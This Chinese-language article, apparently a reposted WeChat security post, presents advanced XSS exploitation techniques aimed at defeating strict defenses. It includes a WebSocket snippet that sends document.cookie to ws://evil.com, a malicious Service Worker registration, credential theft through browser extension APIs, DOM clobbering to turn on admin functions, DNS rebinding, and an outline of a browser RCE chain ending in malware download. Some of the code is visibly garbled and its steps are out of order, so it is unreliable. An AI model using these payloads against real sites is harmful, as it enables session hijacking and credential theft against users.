以下是XSS(跨站脚本攻击)的非常规高级利用技巧,涵盖深度渗透、持久化攻击及现代浏览器特性滥用等场景,适合在严格防御环境下突破限制:
一、持久化与深度渗透
1. Service Worker劫持
-
场景:目标网站允许注册Service Worker(如PWA应用)。
-
步骤:
-
avigator.serviceWorker.register('/evil-sw.js').then(()=>{ console.log('Service Worker注册成功!');});
-
控制所有页面请求:通过
evil-sw.js
拦截请求、篡改内容或窃取数据。 -
注入脚本注册恶意Service Worker:
2. 浏览器扩展漏洞利用
-
劫持合法扩展的通信机制:
-
通过XSS调用浏览器扩展的API(如密码管理器的
getCredentials
)。 -
示例:Chrome扩展若未限制
externally_connectable
,可通过chrome.runtime.sendMessage
窃取数据。
3. DOM Clobbering攻击
-
原理:通过HTML注入覆盖DOM元素属性,影响JS逻辑。
-
示例:
-
<!-- 注入元素覆盖全局变量 --><formid="config"><inputname="admin"value="true"></form>
-
// 页面原有逻辑:if (window.config.admin) { 开启管理员功能 }
二、跨协议与跨源攻击
1. DNS重绑定+ XSS组合拳
-
步骤:
-
用户访问恶意页面,触发XSS加载
<script src="http://evil.com:8080">
。 -
攻击者控制DNS服务器,将
evil.com
快速重绑定到内网IP(如192.168.1.1
)。 -
浏览器因同源策略失效,脚本可访问内网服务。
2. WebSocket协议滥用
-
绕过CSP限制:
const ws =newWebSocket('ws://evil.com');ws.onopen=()=>{ ws.send(document.cookie);};
-
即使CSP限制了
connect-src
,部分浏览器仍允许未加密的WebSocket连接。
3. PDF内嵌XSS
-
场景:允许用户上传PDF且未过滤JS内容。
-
技巧:在PDF中插入JS代码,利用阅读器渲染触发XSS(如旧版Adobe Reader)。
三、0day级浏览器漏洞利用
1. 类型混淆漏洞触发RCE
-
步骤:
-
通过XSS加载精心构造的JS代码,触发浏览器引擎(如V8)的类型混淆漏洞。
-
利用堆喷(Heap Spraying)技术覆盖内存,执行Shellcode。
-
突破沙箱,下载并运行恶意程序。
2. SharedArrayBuffer+侧信道攻击
-
现代浏览器特性滥用:
利用SharedArrayBuffer
和Web Worker
进行高精度计时,通过缓存侧信道窃取敏感数据(如密码输入时序)。
原文始发于微信公众号(SQ安全渗透):XSS(跨站脚本攻击)的非常规高级利用技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论